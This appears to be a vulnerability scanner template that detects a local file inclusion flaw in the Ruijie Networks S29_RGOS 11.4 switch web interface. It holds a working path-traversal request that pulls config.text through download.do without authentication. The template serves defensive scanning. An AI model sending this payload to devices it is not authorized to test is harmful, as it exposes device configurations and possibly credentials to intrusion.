id: ruijie-networks-lfi

info:
  name: Ruijie Networks Switch eWeb S29_RGOS 11.4 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Ruijie Networks Switch eWeb S29_RGOS 11.4 is vulnerable to local file inclusion and allows remote unauthenticated attackers to access locally stored files and retrieve their content via the 'download.do' endpoint.
  reference:
    - https://exploit-db.com/exploits/48755
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: ruijie,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.do?file=../../../../config.text"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'filename="config.text"'
          - "Content-Type: application/octet-stream"
        part: header

      - type: word
        words:
          - "version S29_RGOS 11.4"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f099b40e34a950a5de36b1464e17887cc2e0c0f9cf12172f22b0cbd52faacfb7022100d7c804c031014f8d6477eaf4b183bc378038ae9d6b236213728e62f82d0cb5f1:922c64590222798bb761d5b6d8e72950